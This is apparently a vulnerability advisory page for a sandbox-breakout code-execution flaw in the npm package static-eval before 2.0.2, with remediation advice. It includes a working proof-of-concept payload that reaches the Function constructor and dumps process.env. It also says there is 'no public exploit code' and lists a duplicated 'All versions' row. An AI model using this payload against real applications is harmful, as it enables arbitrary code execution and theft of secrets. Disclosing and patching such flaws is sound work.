GHSA-x9hc-rw35-f44h Sandbox Breakout / Arbitrary Code Execution in static-eval

Not scored Published 2 Sep 2020

Attackers can execute arbitrary code by passing malicious input to the static-eval library, which fails to properly sanitize input before using the Function constructor.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: Not needed
Fix: Available

What is GHSA-x9hc-rw35-f44h?

GHSA-x9hc-rw35-f44h is a code injection vulnerability in static-eval, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require(&#39;static-eval&#39;);
var parse = require(&#39;esprima&#39;).parse;

var src = process.argv[2];
var payload = &#39;(function({x}){return x.constructor})({x:&#34;&#34;.sub})(&#34;console.log(process.env)&#34;)()&#39;
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.

Which versions are affected by GHSA-x9hc-rw35-f44h?

2 open source packages ship an affected version, including static-eval.

Package	Affected	Fixed in
`static-eval` npm	All versions	`2.0.2`
`static-eval` npm	All versions	`2.0.2`

How do I fix GHSA-x9hc-rw35-f44h?

Upgrade static-eval to 2.0.2 or later.

Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.

Is GHSA-x9hc-rw35-f44h being exploited?

There is no known exploitation of GHSA-x9hc-rw35-f44h in the wild and no public exploit code.